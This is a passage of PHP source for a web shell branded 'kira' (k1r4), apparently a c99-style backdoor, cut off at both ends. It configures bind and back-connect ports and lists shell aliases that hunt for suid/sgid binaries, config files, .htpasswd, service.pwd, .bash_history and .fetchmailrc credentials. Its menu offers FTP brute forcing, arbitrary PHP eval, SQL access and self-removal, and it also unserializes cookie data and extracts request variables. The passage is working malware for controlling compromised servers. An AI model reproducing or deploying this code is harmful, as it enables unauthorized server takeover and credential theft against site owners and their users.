= "31373"; // default port for binding$bc_port = "31373"; // default port for back-connect$datapipe_localport = "8081"; // default port for datapipe// Command-aliasesif (!$win){ $cmdaliases = array( array("-----------------------------------------------------------", "ls -la"), array("find all suid files", "find / -type f -perm -04000 -ls"), array("find suid files in current dir", "find . -type f -perm -04000 -ls"), array("find all sgid files", "find / -type f -perm -02000 -ls"), array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), array("find config.inc.php files", "find / -type f -name config.inc.php"), array("find config* files", "find / -type f -name \"config*\""), array("find config* files in current dir", "find . -type f -name \"config*\""), array("find all writable folders and files", "find / -perm -2 -ls"), array("find all writable folders and files in current dir", "find . -perm -2 -ls"), array("find all service.pwd files", "find / -type f -name service.pwd"), array("find service.pwd files in current dir", "find . -type f -name service.pwd"), array("find all .htpasswd files", "find / -type f -name .htpasswd"), array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), array("find all .bash_history files", "find / -type f -name .bash_history"), array("find .bash_history files in current dir", "find . -type f -name .bash_history"), array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), array("list file attributes on a Linux second extended file system", "lsattr -va"), array("show opened ports", "netstat -an | grep -i listen") );}else{ $cmdaliases = array( array("-----------------------------------------------------------", "dir"), array("show opened ports", "netstat -an") );}$sess_cookie = "k1r4vars"; // Cookie-variable name$usefsbuff = TRUE; //Buffer-function$copy_unset = FALSE; //Remove copied files from buffer after pasting//Quick launch$quicklaunch = array( array("",$surl), array("","#\" onclick=\"history.back(1)"), array("","#\" onclick=\"history.go(1)"), array("",$surl."act=ls&d=%upd&sort=%sort"), array("",""), array("",$surl."act=search&d=%d"), array("",$surl."act=fsbuff&d=%d"), array("Encoder",$surl."act=encoder&d=%d"), array("Tools",$surl."act=tools&d=%d"), array("Proc.",$surl."act=processes&d=%d"), array("FTP brute",$surl."act=ftpquickbrute&d=%d"), array("Sec.",$surl."act=security&d=%d"), array("SQL",$surl."act=sql&d=%d"), array("PHP-code",$surl."act=eval&d=%d"), array("Update",$surl."act=update&d=%d"), array("Feedback",$surl."act=feedback&d=%d"), array("Self remove",$surl."act=selfremove"), array("Logout","#\" onclick=\"if (confirm('Are you sure?')) window.close()"));//Highlight-code colors$highlight_background = "#c0c0c0";$highlight_bg = "#FFFFFF";$highlight_comment = "#6A6A6A";$highlight_default = "#0000BB";$highlight_html = "#1300FF";$highlight_keyword = "#007700";$highlight_string = "#000000";@$f = $_REQUEST["f"];@extract($_REQUEST["k1r4cook"]);//END CONFIGURATION// \/Next code isn't for editing\/@set_time_limit(0);$tmp = array();foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}$s = "!^(".implode("|",$tmp).")$!i";if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("kira: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}if (!empty($login)){ if (empty($md5_pass)) {$md5_pass = md5($pass);} if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) { if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |"," ",$donated_html));} header("WWW-Authenticate: Basic realm=\"kira ".$shver.": ".$login_txt."\""); header("HTTP/1.0 401 Unauthorized"); exit($accessdeniedmess); }}if ($act != "img"){$lastdir = realpath(".");chdir($curdir);if ($selfwrite or $updatenow) {@ob_clean(); k1r4_getupdate($selfwrite,1); exit;}$sess_data = unserialize($_COOKIE["$sess_cookie"]);if (!is_array($sess_data)) {$sess_data = array();}if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}$disablefunc = @ini_get("disable_functions");if (!empty($disablefunc)){ $disablefunc = str_replace(" ","",$disablefunc); $disablefunc = explode(",",$disablefunc);}if (!function_exists("k1r4_buff_prepare")){function k1r4_buff_prepare(){ global $sess_data; global $act; foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} $sess_data["copy"] = array_unique($sess_data["copy"]); $sess_data["cut"] = array_unique($sess_data["cut"]); sort($sess_data["copy"]); sort($sess_data["cut"]); if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}}}k1r4_buff_prepare();if (!function_exists("k1r4_sess_put")){function k1r4_sess_put($data){ global $sess_cookie; global $sess_data; k1r4_buff_prepare(); $sess_data = $data; $data = serialize($data); setcookie($sess_cookie,$data);}}foreach (array("sort","sql_sort") as $v){ if (!empty($_GET[$v])) {$$v = $_GET[$v];} if (!empty($_POST[$v])) {$$v = $_POST[$v];}}if ($sort_save){ if (!empty($sort)) {setcookie("sort",$sort);} if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}}if (!function_exists("str2mini")){function str2mini($content,$len){ if (strlen($content) > $len) { $len = ceil($len/2) - 2; return substr($content, 0,$len)."...".substr($content,-$len); } else {return $content;}}}if